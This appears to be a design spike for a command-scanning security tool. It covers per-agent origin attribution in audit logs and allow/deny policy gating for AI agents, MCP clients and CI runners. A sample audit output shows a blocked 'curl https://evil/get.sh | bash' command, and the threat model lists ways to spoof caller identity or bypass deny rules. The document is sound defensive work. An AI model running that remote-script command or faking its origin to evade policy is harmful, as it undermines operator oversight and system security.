This document is the design spike for Milestone 4 item 8 of the tirith roadmap ("Agent governance — per-agent identity + policy"). It is the first artifact of that work; it lands before any enforcement code. Subsequent chunks (CLI surface, policy schema, per-agent gating) build on the decisions recorded here.
Status:
- Chunk 1 (observability scaffolding) — shipped.
- Chunk 2 (CLI surface +
agent_rulespolicy schema, observation-only) — shipped (see §5). - Chunk 3 (per-agent verdict gating, bypass-path origin stamp, shared YAML helper consolidation) — shipped (see §5 and §6).
The companion code through chunk 2 was observation-only:
crates/tirith-core/src/agent_origin.rs— theAgentOrigintype and the CLI-side environment resolver.crates/tirith-core/src/verdict.rs—Verdict.agent_origin: Option<AgentOrigin>.crates/tirith-core/src/audit.rs—AuditEntry.agent_origin: Option<AgentOrigin>, populated fromVerdict.agent_originbylog_verdict_with_raw.crates/tirith-core/src/mcp/origin.rs— per-MCP-session origin store, populated by the dispatcher frominitialize.clientInfo.crates/tirith/src/cli/check.rs,paste.rs,gateway.rs— populate the origin on the verdict before it reaches the audit layer.
Chunk 3 turns observation into enforcement:
crates/tirith-core/src/escalation.rs—apply_agent_rulesand the splice intopost_process_verdict.crates/tirith-core/src/verdict.rs— newRuleId::AgentDeniedByPolicyvariant, wired throughscoring.rs,build.rs'sEXPECTED_RULES,golden_fixtures.rs'sALL_RULE_IDS+EXTERNALLY_TRIGGERED_RULES, andassets/data/rule_explanations.toml.crates/tirith-core/src/engine.rs— bypass-path audit removed (the caller now owns the single audit write site) soagent_originreaches the audit log on bypassed BLOCKs.crates/tirith/src/cli/yaml.rs— new shared module hostingyaml_safe_scalar/yaml_safe_inline_comment/YAML_NEEDS_QUOTING_BYTES;cli/mcp.rsandcli/agent.rsare thin importers.
When tirith records "this command was blocked", an operator looking at the
audit log wants to know who tried it: a human at a terminal, an AI coding
agent that called tirith from a hook, an MCP client connected to the
tirith mcp-server, a CI runner inside a GitHub Action, or the gateway in
front of a chat UI. Today every verdict looks the same — the audit entry
records a session ID and an integration field that is only populated for
shell-hook telemetry, never for the verdict itself.
Recording the caller's category (and, where the caller honestly self-identifies, its name) is the precondition for two later capabilities:
- Per-agent policy — chunk 2+: gate a verdict differently when the caller
is an MCP client, or when
TIRITH_INTEGRATION=claude-codeis set, or when we're in CI. This is the substance of "agent governance" — but it is pointless to design that policy surface until we know what the signal actually looks like in production. - Per-agent observability — already in scope here: an operator running
tirith warnings --since=24hcan see which classes of caller produced which findings, even without any policy gate.
Chunks 1 and 2 are both observation-only. There is no policy enforcement
decision driven by AgentOrigin. No Verdict.action is changed by origin.
No new RuleId is added. Chunk 2 adds agent_rules to the policy schema
and a pure agent_decision helper, but the engine never consults that
helper — chunk 3 wires it. We add a field to Verdict and AuditEntry
— both serde-default-on-parse so old log entries still load — and populate
it from the CLI / MCP / gateway paths.
The reason: tirith's honesty discipline. An attribution signal that nobody
has used in production is brittle. We add the signal, observe what real
values look like (a TIRITH_INTEGRATION set by a hook nobody upstreamed yet;
an MCP client_info from a client we haven't seen before; a CI provider env
shape an obscure runner uses), and then design enforcement against a real
sample set.
- Not adversary-resistant. Every signal feeding
AgentOriginis set by a process running as the user —TIRITH_INTEGRATION,GITHUB_ACTIONS, MCPclientInfo.name,is_terminal(). An attacker who already executes code as that user can fake any of these. We make this honest in the API surface (variant doc-comments say "caller-claimed, not verified") and the threat model (this document). - Not a replacement for OS-level sandboxing. Origin records what an honest caller looked like. It is not a sandbox boundary; tirith never claimed one.
- Not load-bearing for security policy alone. Future chunks may add per-
origin gating but the policy author must understand the signal is operator-
trust, not adversary-resistant — exactly the same trust class as
TIRITH=0(which the operator can disable for non-interactive shells, but cannot prevent an in-process attacker from setting).
| Threat | Tirith's posture today | What changes in chunk 1 |
|---|---|---|
Attacker sets TIRITH_INTEGRATION=trusted-agent to escape a future agent policy |
Possible — env is operator-trust | No change. Chunk 1 records the value; chunk 2+ must layer enforcement that does NOT trust this alone (e.g. corroborate with a cryptographic capability) |
Attacker sets clientInfo.name="Claude Code" to spoof an MCP client |
Possible — payload is caller-claimed | No change. We sanitize the string and cap its length so a hostile value cannot poison the audit log line, but we do not verify the claim |
Attacker sets CI=true to dodge an interactive prompt |
Possible — already true today (is_terminal() is also operator-trust) |
No change. Origin records Ci when CI signals fire; nothing chunk 1 does newly trusts this |
| Operator audits "which commands ran from agent A vs agent B" | Today impossible — no signal recorded | New: audit entries now carry agent_origin |
The variant set is small and meaningful: Human, Agent, Mcp, Gateway,
Ci, Ide. A future variant requires a source change — a hostile or
mistaken caller cannot smuggle a fabricated category through a free-form
string. The payload strings inside the variants (tool, client_name,
provider, name) are free-form (a new MCP client tirith has never
seen reports its own name); they are sanitized, length-capped, and never
themselves drive policy.
The signals tirith reads honestly today, and how they compose. The table is the actual implementation, not a wish list.
| Signal | Set by | Trust class | Variant produced |
|---|---|---|---|
TIRITH_INTEGRATION env var |
The hook the upstream agent installed (e.g. claude-code, cursor, vscode) |
Caller (operator-trust) | Agent { tool, version? } |
TIRITH_INTEGRATION_VERSION env var |
Companion to TIRITH_INTEGRATION — optional, not yet emitted by any hook |
Caller | populates the version slot on Agent |
MCP initialize.clientInfo |
The MCP client connecting to tirith mcp-server |
Caller (caller-claimed) | Mcp { client_name, client_version? } |
| Gateway path (built-in) | The fact that tirith gateway is the process running |
Built-in (tirith chose this code path) | Gateway |
CI provider env (GITHUB_ACTIONS, BUILDKITE, CIRCLECI, …) |
The CI runner | Caller (env is operator-trust) | Ci { provider } |
Generic CI env |
Any CI-aware tool | Caller | Ci { provider: None } |
is_terminal(stderr) + TIRITH_INTERACTIVE |
The shell / OS — caller-fakeable | Caller | Human { interactive } |
Priority on the CLI path (first match wins; implemented in
resolve_cli_origin):
TIRITH_INTEGRATIONis non-empty →Agent.- A named CI provider env is set →
Ci { provider: Some(...) }. - Generic
CIenv is truthy →Ci { provider: None }. - Otherwise →
Human { interactive }.
Priority on the MCP path (implemented in mcp/origin.rs):
- The dispatcher captures
client_infoonce atinitializetime and writes it to a process-scoped store. Every subsequent tool call reads it. - If
client_infois absent (some MCP implementations omit it), the origin recordsMcp { client_name: "unknown-mcp-client" }— still "this came from MCP", just anonymous. Falling back toHumanwould be misleading.
Gateway path: hard-coded — when tirith gateway produces a verdict, the
origin is AgentOrigin::Gateway. The gateway already knows it is the
gateway; it does not need a self-report.
Hook telemetry: log_hook_event (the "hook_telemetry" entry type)
already carries an integration field. Chunk 1 leaves agent_origin: None
on hook telemetry entries — they are not verdicts, and synthesizing an
Agent variant from the integration would conflate event types. Chunk
2+ may emit a synthetic origin on hook events from a known agent
integration; the design slot is open.
Every caller-supplied string passes through sanitize_caller_label or
sanitize_caller_version:
- Trim ASCII whitespace.
- Drop ASCII control bytes (
< 0x20,0x7F) and Unicode invisible / format / surrogate codepoints (bidi, zero-width, Unicode tags, variation selectors). These are the same classes tirith's byte-scan rules already flag in command input — re-emitting them through the agent label would defeat the byte-scan. - Cap at
MAX_LABEL_LEN(256 bytes) /MAX_VERSION_LEN(64 bytes), with char-boundary truncation so a multibyte UTF-8 sequence is never sliced.
Sanitization is intentionally non-destructive of normal values:
claude-code, cursor, Claude Code, 1.2.3-rc.4 all pass through
unchanged.
pub enum AgentOrigin {
Human { interactive: bool },
Agent { tool: String, version: Option<String> },
Mcp { client_name: String, client_version: Option<String> },
Gateway,
Ci { provider: Option<String> },
Ide { name: String },
}Tagged-union serialization ({"kind": "...", ...}):
{"kind":"human","interactive":true}
{"kind":"agent","tool":"claude-code","version":"1.2.3"}
{"kind":"mcp","client_name":"Cursor","client_version":"0.42"}
{"kind":"gateway"}
{"kind":"ci","provider":"github-actions"}
{"kind":"ci"}
{"kind":"ide","name":"vscode"}A field omitted on serialization stays omitted (not null) — we use
#[serde(skip_serializing_if = "Option::is_none")]. Old JSON without an
agent_origin field still parses cleanly (Verdict / AuditEntry / the
aggregator's AuditRecord all use #[serde(default)] on the field).
| Variant | Produced by | An operator should treat this as | An attacker can produce this by |
|---|---|---|---|
Human { interactive } |
CLI fallback when no other signal fires | "best guess that a person ran tirith" | unsetting TIRITH_INTEGRATION and CI* envs |
Agent { tool, version } |
TIRITH_INTEGRATION env from the upstream hook |
"the caller self-identifies as this tool" — useful for filtering, not for trust | setting TIRITH_INTEGRATION to anything |
Mcp { client_name, client_version } |
MCP initialize.clientInfo |
"the MCP client says it is this" — useful for filtering | sending arbitrary clientInfo over JSON-RPC |
Gateway |
tirith gateway process path |
"tirith was the policy enforcement point for an upstream consumer" — trustable that the code path ran | impossible — built-in |
Ci { provider } |
provider env vars or generic CI |
"the runner says it is CI" — useful for filtering | setting GITHUB_ACTIONS=true |
Ide { name } |
(reserved — chunk 2+) | (not used today) | (n/a) |
Ide is reserved. IDE integrations today set TIRITH_INTEGRATION and land
in Agent. If a future IDE provides a more reliable signal (a code-signed
plugin manifest, a control-pipe handshake), Ide is the slot for it. We
ship it now so the on-disk schema does not change when chunk 2+ uses it.
The path an origin takes through the analysis pipeline:
+-----------------------------+
| callsite knows its identity |
+-----------------------------+
|
v
+----------------------------------------------------+
| tirith check / paste: |
| origin = resolve_cli_origin(interactive) |
| raw_verdict.agent_origin = Some(origin) |
| |
| tirith mcp-server tool: |
| raw_verdict.agent_origin = mcp::origin::current()|
| |
| tirith gateway: |
| raw_verdict.agent_origin = Some(Gateway) |
+----------------------------------------------------+
|
v
+--------------------------------+
| post_process_verdict |
| clones agent_origin through |
| every transformation |
+--------------------------------+
|
v
+--------------------------------+
| log_verdict_with_raw |
| reads verdict.agent_origin |
| writes AuditEntry.agent_origin |
+--------------------------------+
|
v
+--------------------------------+
| audit log (JSONL) |
| each verdict line carries |
| "agent_origin": { ... } |
+--------------------------------+
The engine itself (engine::analyze) does not know the caller's
identity. The callsite — the CLI subcommand, the MCP tool handler, the
gateway request handler — sets the origin on the verdict it received. This
is the same pattern existing fields like policy_path_used and
interactive_detected use: engine emits, caller annotates.
post_process_verdict already clones the entire Verdict and threads it
through escalation / paranoia / approval — the new field rides along with
no extra work.
log_verdict_with_raw reads verdict.agent_origin and writes the audit
entry's agent_origin field. Old callers that pre-date the field continue
to work: the verdict's agent_origin defaults to None, the audit entry's
agent_origin is then None, and #[serde(skip_serializing_if = "Option::is_none")] keeps the field out of the JSON line.
The roadmap names four commands. Chunk 2 ships all four plus the
matching agent_rules policy schema. Chunk 3 wires enforcement:
post_process_verdict now consults policy::agent_decision against
the verdict's agent_origin and forces the action to Block (with a
fresh RuleId::AgentDeniedByPolicy finding) on a deny match. The
chunk-2 safeguard test agent_rules_chunk2_loading_changes_no_verdict
was retired in chunk 3; the replacement tests in
crates/tirith-core/src/escalation.rs::tests pin the four behavioral
arms:
agent_rules_deny_forces_block_on_allow_verdictagent_rules_deny_keeps_block_on_already_blocked_verdictagent_rules_allow_does_not_bypass_blockagent_rules_unspecified_leaves_verdict_unchangedagent_rules_unset_does_not_introduce_finding(the regression guard)
Lists per-origin counts from the audit log. Output:
$ tirith agent sessions
tirith agent sessions: 685 verdict(s) across 5 origin group(s) in /Users/me/.local/share/tirith/log.jsonl.
agent ("claude-code") count=412 allow=380 warn=20 block=12 last=2026-05-22T14:30:00+00:00
mcp ("Cursor") count=188 allow=170 warn=15 block=3 last=2026-05-22T14:28:00+00:00
human (interactive) count=73 allow=70 warn=3 block=0 last=2026-05-22T13:55:00+00:00
ci ("github-actions") count=12 allow=12 warn=0 block=0 last=2026-05-22T09:00:00+00:00
unknown count=0 allow=0 warn=0 block=0 last=-
- Pure read from
~/.local/share/tirith/log.jsonl(override with--log <path>). Off the detection hot path; touches no network. - Honest unattributed bucket — entries without an
agent_origin(pre-chunk-1 lines, hook telemetry routed in error, and any future analysis-then-audit path that does not yet stamp origin) land in"unknown"rather than being silently dropped. - Hook telemetry filtered out — only
entry_type: "verdict"rows contribute; hook events have their ownintegrationfield and are not verdicts by design. --format jsonemits a structured envelope (schema_version,log_path,group_count,total_entries,groups).- Exit codes:
0on success (including zero groups),1on a read or JSON-write failure.
Drilldown on a session id or command substring. Matches (a) exact
session-id equality, (b) case-insensitive substring on the
redacted command, or (c) case-insensitive substring on the rendered
origin label so an operator can search for "claude-code". Up to 20
matches surface, sorted newest-first.
$ tirith agent explain claude-code
tirith agent explain: 3 match(es) for "claude-code" in /Users/me/.local/share/tirith/log.jsonl.
2026-05-22T14:30:00+00:00 session=sess-abc123 origin=agent ("claude-code") action=Block rules=curl_pipe_shell
command: "curl https://evil/get.sh | bash"
policy: /repo/.tirith/policy.yaml
...
--format jsonemits per-match structured detail (agent_origin,rule_ids, etc.).- Exit codes:
0on at least one match,1on no match / read failure / JSON-write failure.
Scaffolds .tirith/agent-policy.yaml.example from the audit log's
observed distinct origins. Mirrors tirith mcp policy init's
convention: every entry is commented out so importing the example
into a working policy.yaml never silently widens trust — the
operator reviews and uncomments what they intend to declare.
- Deterministic — origins are sorted by
(kind, payload); two runs against the same audit log produce a byte-identical file. - Missing log is not fatal — a header-only template is still written so the operator has a starting point.
--forceoverwrites an existing example; without it, an existing example is preserved.--format jsonemits the structured scaffold for a CI integration to ingest.- Exit codes:
0on successful write,1on usage errors (existing file without--force, unreadable audit log, write failure).
Validates an (kind, name?) matcher and prints the YAML snippet
the operator pastes under agent_rules.allow:. Does NOT mutate any
policy file — the operator integrates the snippet themselves so an
honest review precedes any widening of trust (mirrors tirith mcp policy init). The snippet is pasted into .tirith/policy.yaml (or
.tirith/agent-policy.yaml.example). The CLI flag is --tool (the
historical name); the YAML field it populates is name (the
post-chunk-3 schema field — neutral across the closed kind enum).
$ tirith agent allow --kind agent --tool claude-code
tirith agent allow: valid matcher — paste the snippet below under `agent_rules.allow:` in your policy.
(NOTE: `allow` is not a bypass — a verdict the engine already blocked stays blocked even when the caller is on the allow list. `deny` beats `allow`.)
- kind: agent
name: claude-code
Validation rules:
kindmust behuman/agent/mcp/gateway/ci/ide.--toolon a payloadless kind (human,gateway) is rejected because it would match nothing.--tool ""is rejected (an empty payload can never match a real caller —AgentOriginconstructors reject it).- Exit codes:
0on a valid matcher,1on validation failure.
Chunk 2 added the schema; chunk 3 consumes it in
post_process_verdict.
agent_rules:
allow:
- kind: agent
name: claude-code
- kind: human
deny:
- kind: agent
name: untrusted-toolkindis the [AgentOriginKind] discriminator (human/agent/mcp/gateway/ci/ide).nameis the optional caller-claimed payload — thetoolslot onAgent, theclient_nameonMcp, theprovideronCi, or thenameonIde. The field is callednamerather thantoolbecause the payload means different things by kind;nameis neutral across the closed enum. Case-sensitive exact match. Anamefilter onhuman/gatewayis structurally meaningless: it is flagged bytirith policy validateas a warning (a slightly stale policy still loads —policy validateexits0unless a hard error fires) and rejected bytirith agent allowas a hard error (exit1) so the operator catches the mistake at scaffolding time.- The pure helper
policy::agent_decision(&policy, &origin) -> AgentDecisionwalksdenyfirst (first match →Denied { matcher }) thenallow(first match →Allowed { matcher }); no match →Unspecified. The matcher payload is whatapply_agent_rulesuses to name the matched rule in the injected finding.
crate::escalation::apply_agent_rules consumes the helper inside
post_process_verdict after escalation and before warning recording:
agent_decision returns |
Effect on the verdict |
|---|---|
Denied { matcher } |
action = Block; a fresh Finding { rule_id: RuleId::AgentDeniedByPolicy, severity: High, … } is appended naming the matched origin (Debug-escaped), the matched matcher (kind + optional name payload, also Debug-escaped), and the policy file path. Existing detection findings are preserved. |
Allowed { matcher } |
No behavior change. allow is not a bypass — a verdict the engine already blocked stays blocked. |
Unspecified |
No behavior change. |
(verdict.agent_origin == None) |
Treated as Unspecified — an engine path that never set an origin has nothing to match against. |
Chunk-3 minimal cut. Richer matcher payloads — severity overrides
on allow (a trusted agent's Medium becomes Low), approval_required: true, fail_mode: closed per-origin — are deferred to a future chunk
unless a live workload surfaces a concrete need. The minimal Denied → Block semantics covers the immediate operator use case ("block
this untrusted MCP client from running anything") without committing
the schema to questions we have not yet seen real telemetry for.
Origin-stamp invariant. Chunk 3 unified the model toward exactly
one audit entry per caller path, with agent_origin stamped on the
verdict before that call. engine::analyze_inner (reached through
analyze_returning_policy) no longer audits its own bypass fast-exit
— pre-chunk-3 it called audit::log_verdict with the unstamped verdict,
which on tirith check produced a double-log (engine entry → no origin;
CLI entry → with origin). Audit responsibility now lives entirely with
the caller. The per-file change set is:
cli/check.rs— pre-chunk-3 this path already stamped origin and audited; chunk 3 deduplicated by removing the engine-side write.cli/paste.rs— stamping pre-chunk-3, but the bypass branch previously SKIPPED audit (trustinganalyze()to have logged); it now audits the bypass branch explicitly so the entry carries origin.mcp/tools.rs::call_check_command— stamping pre-chunk-3, but the bypass branch previously skipped for the same reason; it now audits explicitly (same shape aspaste.rs).cli/install.rs(both the package-manager and URL forms) andcli/ecosystem.rs— these analysis-then-audit paths now also stampagent_originviaresolve_cli_origin(interactive)beforeaudit::log_verdict, so aninstallorecosystem scanaudit line no longer lands in thetirith agent sessions"unknown" group.cli/gateway.rs— the request and notification handlers stampAgentOrigin::Gatewayon the in-memory raw verdict, and the localAuditEntry<'a>serialized to stderr now includes anagent_originfield (constantAgentOrigin::Gateway, since the gateway is the only emitter of that struct). Pre-chunk-3-follow-up the local entry shape lacked the field — the in-memory verdict carried origin, but the persisted stderr JSONL line did not.
Known gap. Origin attribution is best-effort and pin-fixed only at
the audit sites above. A new analysis-then-audit path added in future
work that calls audit::log_verdict without first setting
verdict.agent_origin will land its entries in the "unknown" group;
the audit aggregator (tirith agent sessions) is honest about this and
reports them rather than guessing. The four golden_fixtures.rs
safeguard tests do not cover this invariant — see the integration tests
bypass_path_records_single_audit_entry_with_agent_origin,
install_audit_entry_carries_agent_origin, and
ecosystem_scan_audit_entry_carries_agent_origin in
crates/tirith/tests/cli_integration.rs, plus
cli::gateway::tests::test_audit_entry_serializes_valid_json (which
pins the gateway's serialized agent_origin: gateway field) for the
per-site pins.
When the env-bypass policy (allow_bypass_env /
allow_bypass_env_noninteractive) honors a TIRITH=0 invocation, the
bypass branch in cli/check.rs, cli/gateway.rs, and
mcp/tools.rs::call_check_command audits the raw verdict and skips
post_process_verdict — which means apply_agent_rules does not run,
and agent_rules.deny does not enforce. The bypass is consistent with
how TIRITH=0 overrides every other detection, but operators writing
agent_rules.deny may reasonably expect deny to be more authoritative
than the user's interactive bypass. Surfaced as PR #120 wave-end review
finding A (silent-failure-hunter C1, pr-test-analyzer sev-8,
code-reviewer Important #2 — three-agent cross-corroboration).
Pinned by the regression test
agent_rules_deny_skipped_under_tirith_bypass_today in
crates/tirith/tests/cli_integration.rs. Revisit in M5 after operator
feedback — flipping the contract means running apply_agent_rules even
on the bypass branch at all three sites (cli/check.rs,
cli/gateway.rs, mcp/tools.rs::call_check_command) and updating the
existing bypass-contract pin
bypass_path_records_single_audit_entry_with_agent_origin.
- The
tirith agent ...subcommands and theagent_rulespolicy schema — shipped in chunk 2 (see §5). - Any change to
TIRITH_INTEGRATIONsemantics (it's already used by hooks; we read it, we don't redefine it). - Synthesizing an origin onto hook telemetry entries. The
integrationfield stays the hook telemetry's identifier;agent_originstaysNoneforentry_type = "hook_telemetry". Chunk 3 may revisit. - A signed / cryptographically-attested agent identity. That belongs with the broader supply-chain work in M5.
- Policy enforcement. Resolved in chunk 3.
- Mutating an existing policy file.
tirith agent allowstill only prints the YAML snippet to paste; it does NOT append to.tirith/policy.yaml. The operator integrates it themselves, the same as withtirith mcp policy init's example file. Chunk 3 did not change this discipline. - Normalizing caller-claimed strings. Q2 stays open; case-sensitive exact matching remains the contract through chunk 3.
- Fixing the engine's bypass-path double-log. Resolved in chunk 3
— the engine no longer audits its own bypass fast-exit; the CLI /
MCP / gateway callers are the single audit site and stamp
agent_originbefore logging.
- Richer matcher payloads.
severityoverrides onallow,approval_required: true, per-originfail_mode— all deferred. The chunk-3 contract is the minimalDenied → Blocksemantics; anAllowedmatcher does not change verdict behavior beyond suppressing the chunk-3 deny check itself (and even then only becauseagent_decisionreturnsAllowedbeforeUnspecified). - Synthesizing an origin onto hook telemetry entries. Still deferred (same reason as chunk 1's exclusion).
- A signed / cryptographically-attested agent identity. Still deferred to M5 supply-chain work. Chunk 3's enforcement layers on top of caller-claimed signals, with the same trust posture chunks 1 and 2 documented.
These are the calls that need an explicit "yes / no" from you before chunk 2 starts. Chunk 1 does not depend on any of them.
Current state: free-form (sanitized + length-capped string).
Pro free-form: a new agent integration ships its hook with
TIRITH_INTEGRATION=newagent; tirith records the name immediately, no
release coordination. The CLI surface (tirith agent sessions) shows it
on day one.
Pro closed enum: tirith doesn't accidentally trust an attacker's
TIRITH_INTEGRATION=trusted-agent; the enum is the allow-list.
My recommendation: keep free-form. Trust is the wrong axis to police via the
enum — the design already says Agent is caller-claimed. A future
agent_policy.yaml can opt-in to recognized names and gate everything
else; the enum doesn't need to.
Current state: the string is sanitized but not normalized. "Claude Code"
and "claude-code" are distinct.
A normalization layer (lowercase, drop spaces) would let policy matching write a single rule. But: an honest client sets exactly one of the two; we don't yet know which. Chunk 1 records what the client sends; chunk 2 can add a normalization step at policy match time without changing the recorded audit data.
Recommendation: do not normalize in chunk 1; revisit at chunk 2 with a real sample set.
Current state: Option<AgentOrigin>, default None.
None semantically means "this verdict's origin was never set by any
codepath" — which is honest for the engine fast-exit (the verdict is built
inside engine::analyze before any caller had a chance) and the bypass
path. Defaulting to Human { interactive: false } would imply we know
when in fact we don't.
Recommendation: keep Option. A downstream consumer that wants a default
can verdict.agent_origin.unwrap_or(AgentOrigin::Human { interactive: false }).
Current state: 11 named providers (github-actions, gitlab-ci,
buildkite, circleci, jenkins, travis-ci, azure-pipelines,
bitbucket-pipelines, teamcity, drone-ci, aws-codebuild) + generic
CI.
Adding a provider takes one line. Each entry is a tag tirith chooses (lowercase-kebab), not the raw env name, so the tag is stable across chunks; the env name on the left can come and go without breaking policy written against the right.
Open question: do we want to ship more providers (Circle 2.0, Heroku CI,
Semaphore, …) in chunk 1, or wait until an operator asks? My
recommendation: wait. We have what the major providers set; the generic
CI fallback covers anything else honestly.
Not yet. doctor is for installation state; origin is per-invocation. A
tirith warnings --by-origin or tirith agent sessions view in chunk 2
is the right surface. Adding it to doctor would conflate the two.
Not in chunk 1. Origin is captured for audit / aggregation, not for the
operator's "what did this command do?" view (which would be noisy on every
invocation). The --format json output of check already carries the
field (agent_origin is part of Verdict); the human output stays the
same.
If, after a few weeks of observing real telemetry, the answer changes —
e.g. an operator running a managed gateway wants every audited verdict to
also print origin=gateway so the upstream consumer's logs line up — we
add a --show-origin flag at that point.
Chunk 1 shipped the design, the type, the field, and the populate-only
plumbing. Chunk 2 added the inspection surface — tirith agent sessions / explain / policy init / allow — and the agent_rules
policy schema. Chunk 3 wired enforcement: the engine consults
policy::agent_decision through escalation::apply_agent_rules inside
post_process_verdict, a deny match forces the action to Block and
appends an agent_denied_by_policy finding, and allow is layered as
an explicit non-bypass. Enforcement is active on every analysis path:
tirith check, the gateway request/notification paths, tirith paste,
tirith install, tirith ecosystem scan, and all MCP tools/call_check_*
handlers (call_check_command, call_check_url, call_check_paste).
The CLI / gateway / call_check_command sites route through
post_process_verdict; paste / install / ecosystem /
call_check_url / call_check_paste invoke apply_agent_rules
directly after stamping origin. The interactive TIRITH=0 bypass
currently skips apply_agent_rules (pinned by
agent_rules_deny_skipped_under_tirith_bypass_today); revisit in M5.